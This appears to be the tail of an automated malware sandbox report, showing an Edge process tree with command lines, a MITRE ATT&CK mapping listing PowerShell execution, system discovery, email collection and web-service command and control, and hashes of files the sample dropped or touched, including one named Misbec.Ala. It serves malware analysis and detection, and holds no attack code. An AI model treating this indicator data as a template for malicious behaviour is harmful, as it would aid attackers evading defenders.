  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3456,i,10251889748250555685,18308398642869087273,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4424 /prefetch:1
      4⤵
      PID:6108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3472,i,14374097239119160646,10451896569729967072,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4416 /prefetch:9
      4⤵
      PID:6100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3480,i,4846411476800698047,14538387397259507667,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:1
      4⤵
      PID:4200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3532,i,5277139006168444257,10463541374385927536,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:9
      4⤵
      PID:2376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4236,i,5559918494609217060,16657629064583510206,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=3088 /prefetch:14
      4⤵
      PID:5060
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1144
        5⤵
        
        PID:5384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4420,i,17582575973251624732,11433827286418187299,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:14
      4⤵
      PID:5812
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=568
        5⤵
        
        PID:5928
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,9506215441879966538,7545418150054041291,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
      4⤵
      PID:1564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3424,i,4268128435100714011,16714186526498009888,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:14
      4⤵
      PID:5980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5576,i,13891872965170869037,7414573718733658688,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:14
      4⤵
      PID:1348
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5580,i,16584906113976315000,210113559066287722,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:14
      4⤵
      PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0922a7d0b56e0c901a13d1617f99d752aa2abf5201089749005ecf7b413b4a91
MD5 e42748b8c5a22dfa1e01198891ce72ac
SHA1 c201063995355d307cc3916221eb9a0f10b5284f
SHA512 8be07fa5d55634cc5f7106eed3f78e5d0a21baf3bbedcfd79b55401d202a7e8d297f889d688ba0cf77a917632935bbccb43bb8c3622ff90dc4ab537ff840ad66
TLSH
T1A521A833B3ACC135C8D9017A208CAD01B2B5C3C7449ECECB7B84C508A57F99ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_uzdro5qt.f0k.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uzdro5qt.f0k.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl\Crashpad\settings.dat
Size 280B
SHA256 9dfb0bb8c7bd20c7c6d289fb3df4f81baf057c7de6a980f3ff5a5a07de1215ed
MD5 4198712d42755b42508c7a05972e1148
SHA1 4a55e72094d1dc9b6b7f29ad7777ec5a798eff30
SHA512 1cb9508eb8a8e1aff11ed4d8cfb4e2b4910ef5185f1988923f21c69a1ce77b66d496d225811ff689daaf3171d2d19ea2831b046a31472776efb3c2a230899516
TLSH
T13DD004D4575C4010C550313143115170C1514D30D1410D5404144054444445004C3D04
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl\Crashpad\settings.dat
Size 280B
SHA256 e1ddf0ec4976bc6bca09f5eb8c5887e6f234a7910c4f2844bd928e751daa6609
MD5 87dc919172997bb925c102448e27d3de
SHA1 402ffba60c82a446bf72df54755a54fc23e44532
SHA512 a50db3a20045f43d03e0dbf52265ed801034c84f6d1ddd4017d3284fbc47820b8304e8896d14a15e332008619d200b34a9d3f941618c941adc71f0538c5abfed
TLSH
T18FD024437FF40740CD10D037C5101370C7437F1040010D450CF1105C04404D300C3D40
MD5 SHA1 SHA512 TLSH

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl\Default\Code Cache\wasm\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl\Default\GPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl\Local State
Size 3KB
SHA256 2b121e76501a080373b6c020f66321650fa4573fd424a09464b1580cc3b72358
MD5 4c9be6a221535558970afc65cf3436eb
SHA1 6226fc816f9dc620e245128d03f865107f189b65
SHA512 50a52621ebf4d9ef7744b5d884e2b590a5355229f3b63f814118d14a4e6a26004c0489ca56e963c2e11e33223733c7d5bfefc9bdaf4146343cf2b49acc1c4d37
TLSH
T14A81A7B26428ED3785E5A55AB48626938F3870B3DD51AF48E6CA631C00E775C2B0AC27
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl\Local State
Size 4KB
SHA256 c605303903353137b2e252c78d0c577ca4c82c6f607143791956f87cf5cae0f4
MD5 42df98a211c91aa4fe6d34dc8e0cb3f1
SHA1 6e4ac1f3c0d45a394fc3a0a1707a84564850abc1
SHA512 d7beb6c220b9e26c8aa406260372ba26486bdcec2f416dcdf3405f315efa0365104eebad92c552e6209f7134f3fc4182e087e0c4c8e20d264c8c149eaeced5da
SSDEEP 96:XqGNk8QsFfhwycAC58Frh/cInURoDotov2zlDpBjmvpzsDo0eUnrKrqq4a:6GNIc3tooDUwgv0sDoqrKj
TLSH
T1D1A1C7766438ED278DE5A916B4C62393AF683073E881BF8CE6DD1B0C00E73881746C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State~RFe590304.TMP

Path C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl\Local State~RFe590304.TMP
Size 1KB
SHA256 697e486dd5425877f326e1e3109444976736bd0bf675e2e3370c554dbee368bc
MD5 4eb3a6b5e505671c3668e16da651fb17
SHA1 e01880112a84d681213f8dbf0fb7d27aadc43dcb
SHA512 3ed28366effc23a0b2b6747e7a715db37b8d3de8fa4c1e942e760b6a0307a3d63f7f103f5b715aaa8383b553c92981f9dd41d261c2f1c0c93111e8b1c7842dfe
TLSH
T1593195B3686C6E77D8A0855BE24AB7930F34613391A26B4C92EE571D05F3ADC1316C3B
MD5 SHA1 SHA512 TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Default\Cache\Cache_Data\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Default\Cache\Cache_Data\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Default\Site Characteristics Database\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

32.png

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png
Size 1KB
SHA256 ccefdc2d816137b5954b591e8954c392e0cf27388fef2e437991e3999d9ad3d8
MD5 efa437b6fe5031994d5917a91c19990f
SHA1 d46a1115227ead4e92346b600c28e9ac72cce96f
SHA512 ab52261f15a3f21728b41b4765da5ec6c9e71051b720204ee2decf6f09ac8a0c9a5c12313d921f232f1e698a7425d34415eca8db21a37f423535806bcdf238bb
TLSH
T1F3310AC7644047BA52EDDAF37F6B0C57DC12210107D4A440599F56E17FEEEC86015478
MD5 SHA1 SHA512 TLSH

Submit Download

48.png

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png
Size 2KB
SHA256 bff87e21fa845d8ce3c266db6d904e9c7a3bf9fc2b95a1f1a5ca375f3fdb045a
MD5 097f67b0d583db3f8487ac27379c7eae
SHA1 18acf62fb9bc4e95899c4597cd72de66b6bef763
SHA512 0b6b323fa14e5b0dd6bb87fce791bbd0b7a867988d8332385ba76a35d93d4dd5b67f6be9be5a69fbdcd5da68c30bc840712daa83b9a0187b727d963dc9a9a045
TLSH
T15E514C54BEF34CB2EBC67C7254E65BF5A564C1E62D407A0C86B9CA1245BDD410CCD003
MD5 SHA1 SHA512 TLSH

Submit Download

64.png

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png
Size 3KB
SHA256 abe4eaa1a6fa423bcef61b423dc72386a9cf1968b1041de5270c56a7780254ad
MD5 8e589c60e0ba95ca1b178bad0a8298db
SHA1 d981cd3f9eb63636471e3bd4c0fd7585460ad6fd
SHA512 e8c7b5d340e698f3b1b42d6c3b7653b666e0add095611c00f502782928eb788070ca977b54b42f9515127861e55138a3cc0f02540f0bc2e44694fb0ea595ee34
TLSH
T196517D1B4B8AC56A0E53770E02E57ED454996C569EF383CC2106E7C0081A99F43EBBE7
MD5 SHA1 SHA512 TLSH

Submit Download

128.png

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Default\Web Applications\Temp\scoped_dir1768_1850487470\Icons\128.png
Size 5KB
SHA256 63be4dfbc222f0c026579113af9aa7dea61e78a166ab9af053b46c1e172240ff
MD5 9cafc16ce8040254ec411cc5a8f954f2
SHA1 0d9841be48e134edf43c7ef970d24ddf852d155e
SHA512 aa1e0ac8d0647ee6c0b481e671b20fc68ff253dc72748b2aaf22f15bd8decd2b9723b16f8cd4c19d9a250abaa8d517101bad6ebfed7fd3a90ceefce02c1b3b75
SSDEEP 96:ALdfTPsPOWpgaNHQxO20qtLppvSFLtGaoFuPhQd1YDzpsE60tkuuAaw:m16NHQgoLjvSVtY2h6CDzpsErVu0
TLSH
T119C17E55555D711FD09D157110AF4A0F31A7E2AAC3785720C97E1BD0F88DE4603A3EB9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Default\shared_proto_db\metadata\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\GrShaderCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

Misbec.Ala

Path C:\Users\Admin\AppData\Roaming\Misbec.Ala
Size 196KB
SHA256 3a56229057b77733e744b552ead0b869882cbb436ffe8ab45f4cf9caddee760c
MD5 3c2eaa5d0ecf804ff463eb15ad536587
SHA1 c2f71e5b771ece4479f7189fa1aa087ecdad2c3d
SHA512 5e4ed9a9b5b744b016f522c87a3a541d7537913fc532310c5a49547c7ef72a54fbceef1effdc243f4eb373fc3ad3f01a451685f1d7579dbcd570f2d2ef653189
SSDEEP 3072:EiwPeUez2ZHltdVatztKuNP3qF3hPXdc9rE0IN662gbYWdFqEx:ENpZZFvVatz9Pc1q9w/h/dFPx
TLSH
T19814F2E14A01E259D86D5DCC6FA33ABD6154376F8CBA7767523A3893B8D070523630F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

256de262-cfcf-4f1c-801a-77317523c1e9.dmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\256de262-cfcf-4f1c-801a-77317523c1e9.dmp
Size 66KB
SHA256 ae53402fa1869bf779315650e5e7f01eb2217f87067e5dd686bfe279501fb076
MD5 c2dedb8ec899c0f435dedcc8a4ae50b0
SHA1 1842f18408713d7a6ddb7499a7218530f3146998
SHA512 b885c56ed59e3da228d158e2992cbc8ab1220415d93667b137cc0e1be9a34c026f9095b4b10887b57bf02440ed4c4baba805e9e51e095e794356aa7c37bd6f7c
SSDEEP 384:BX/bZ7jdEEfW9XCR2UHdm6b1v4fQQAwSUrS9LOZYIFt:BPbZ7jpOw0U8LNAMrS9xI7
TLSH
T19963C99A57941862E82C133468E7F7F17BF7E8706B677B5B062211FA2C66740EC31E21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

256de262-cfcf-4f1c-801a-77317523c1e9.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\256de262-cfcf-4f1c-801a-77317523c1e9.extra
Size 10KB
SHA256 f92334ff7b5c5e66c23b7134fa87ed6f5beb732b14db68cf149dbe51a555f101
MD5 dbf087f0ac0461c7f063927e2ee317ec
SHA1 d3d86d45a33b8cfbd97e24ed09cf51b28bcd1b69
SHA512 005c7fde630371fbcab712e4eff6cc61a6f56c276432c92ee3cc8084cb4e5d597cf967ca509986cb4c2b226f977461a664544d39be7bba573ccac7f356cb96d9
SSDEEP 96:STWCxTuLY6pw6lFFdtH0Rh7CsevBb1d0tjMLlIrLlhTLlaXv7aNutILfcBCqwvEq:S5B6FbG7uvZ8JLlxsP5wlBvfo+
TLSH
T16C228353878724B7AD4194C4BC30AE7C45EC6FAA61F958A802CD4D47FA468F81FB84F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

256de262-cfcf-4f1c-801a-77317523c1e9.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\256de262-cfcf-4f1c-801a-77317523c1e9.extra
Size 10KB
SHA256 fc991f85c776bfb6305cd700733179fdbcc38c1a1c23328146a228db77f26467
MD5 22d0f38198244ec106111443321148d5
SHA1 93ed24e4e30dbc5c26870db867f100609ef52b40
SHA512 cd3232a046fdee8685fc2860ff5bebe6d03a14990cc665e7ec43d01eb0058d4bb7a30d170170401a8c9f968e9beca742f44e07127ca3800bc89523327430f4b8
SSDEEP 192:S56cFQiR4p4DnTYapdVxzPjWBHd4T/fKNtalpvfombLJZj:i6cFQi5Dz1LWBHd4TmaXAmH
TLSH
T18022E831081CD837F7D7AC8DFA3A2D3AD66D7A1A00E6785C40CCCB89C2A9478A779453
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2a2c915e-153b-4ac3-aa7a-3ed29b4c4dc3.dmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\2a2c915e-153b-4ac3-aa7a-3ed29b4c4dc3.dmp
Size 67KB
SHA256 c7c506e5518c98fab5b67a715ef81228c81b44c96849b2e1e626574259da8ee1
MD5 4754ae5eb3671f05672efb270bc270f1
SHA1 a436ccd70d30bdba81e80a4b59748c1e04466d99
SHA512 ad3f76aebe2d40adf4df6e7bfaa262cb91da14aed8c13a7174bc3a325d49351875b9006dd138b386b0cf99e1bd1583eaff32ab1e3bf63b56686b599156456045
SSDEEP 384:tuTNPX/62rhPVv8wUCdlgIaS5GQywZDzryKAuZJT5VCHU:tGf/62rdV9UW5dDZv+KNZEHU
TLSH
T12F63C802A7A40A76D97C067558E7E3353BF3F8D86763936B6642057E2C633246E70E23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2a2c915e-153b-4ac3-aa7a-3ed29b4c4dc3.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\2a2c915e-153b-4ac3-aa7a-3ed29b4c4dc3.extra
Size 1KB
SHA256 86aa59626b4aba9315d83863ace6c984810a7978a8a0b34ef993a1321a134e17
MD5 de5d8b416967e5f4ce36bb806dcd1511
SHA1 fb21b9734177efb6122d7ce79fd2beb4ecd9f327
SHA512 ae2c68a5f2124575fa8884a687c67809852269aaf8d6fa3678d4f90877f6061080acb3d79019f05c219f3140123987d9d59d2445eb71971ea9be1c99e29f1e5a
TLSH
T1923174B781DC6D269A578999B63A5303C959B73304D21D0C25CD4A0C418F5DCE3669D3
MD5 SHA1 SHA512 TLSH

Submit Download

2a2c915e-153b-4ac3-aa7a-3ed29b4c4dc3.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\2a2c915e-153b-4ac3-aa7a-3ed29b4c4dc3.extra
Size 3KB
SHA256 06819c6dc9fef1a83f9c2f9240ad74fed17bcdb56eed53701bdfcecde8f65aaa
MD5 1764dccfc9a7d9d6805dff6cdb84895b
SHA1 442667b509052e738e847b646811fdfe3becc6f1
SHA512 77fd7a9dd8e5beb034f5f909d2da0d38ab0f3c1998c21af47b31215ff568f3b189fe6fdcb6998c336790aaa8ccf7e13d959f8bc4e09f2126578fcf4db4de6be0
TLSH
T17F810231004CD9776AEE5D8AF3376D1DD9AEB31998B12E8C90CAD75C4178CB4B386183
MD5 SHA1 SHA512 TLSH

Submit Download

59c4357a-cf85-42fb-acc4-b14adc8659de.dmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\59c4357a-cf85-42fb-acc4-b14adc8659de.dmp
Size 65KB
SHA256 1b467f4d14afd62ce8e41228bf8a15c6b015036b59a95e786290b923eeed4def
MD5 9cf82aca4fb3c676791a7e850e11135c
SHA1 d6c466ac8fcf8439470a74622f75a29a8c36cd76
SHA512 ced28b078bcefd03ce7b1d2cdca630114adc527e2a9201b7cc261478ad68ffc66d5c4d2b0ee597dc49399a79f6a119cbaac000a383e7bb412e417e2c27f23776
SSDEEP 384:rEBhtlmRr11ahLWtANwBCUxZsd793AKkoZvNlmJxeWM8:rEbtlmR7AqtreLkgNlmJfM8
TLSH
T1EE63B8025790286BE93907745DE7A7B17BF7EC526777A35B025203BE1C62348AC73A31
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

59c4357a-cf85-42fb-acc4-b14adc8659de.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\59c4357a-cf85-42fb-acc4-b14adc8659de.extra
Size 10KB
SHA256 a093252a489484678f9da70524ca9dc705eb893ad38e3c641e82e6a9bcd5aefc
MD5 120d0b184b921f3a6a4f9d8cc954a5ba
SHA1 4055a2e1e9122b9e211953df63f736cb1aaf2456
SHA512 661eb4723b2c37947ba7cb62f8b6c3a23a7feb31fedfc619fc35aeb94cbd99ce941ca3205c01bf795f90451b4784892d52cbc5ed758a3de7a962450e8e435f08
SSDEEP 96:STWCiSTuLY6pw6lFFdtH0Rh7CsevBb1d0tjMLlIrLlhTLlaXv7aQutILfcBCqwvN:S5iC6FbG7uvZ8JL2xsP5wl78fof
TLSH
T1F5228353878724B7AD4194C4BC30AE7C45EC6FAA51F958A802CD4D47FA468F81FB84F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

59c4357a-cf85-42fb-acc4-b14adc8659de.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\59c4357a-cf85-42fb-acc4-b14adc8659de.extra
Size 10KB
SHA256 24ec1398c41245172cfa7bf5fee0730984988b818a41f9448aec0bfbded8147e
MD5 cfab850d9a4774f74eb3bbef00e7e40b
SHA1 fa8b75874221942cf5419329b3bf685322a86bf8
SHA512 372324bee6f67f1ca70e0c4e9b2e7a41ed9d53fa1fc0e9c5311cc244059acbb220ecc7b3f92d7ae4ad5425873ccb9a4908ac054a0bc491d6fd77657094698dd5
SSDEEP 192:S5ibcFQiR4p4DnTYapdVxzPjWBH44T/fKNtalD8foTbLTjj:iQcFQi5Dz1LWBH44TmaqATT
TLSH
T17032D831481CD837F7D7AC8DEA3A3D3AD66D7A2A10E6785C40CCCB89C1A9478A779453
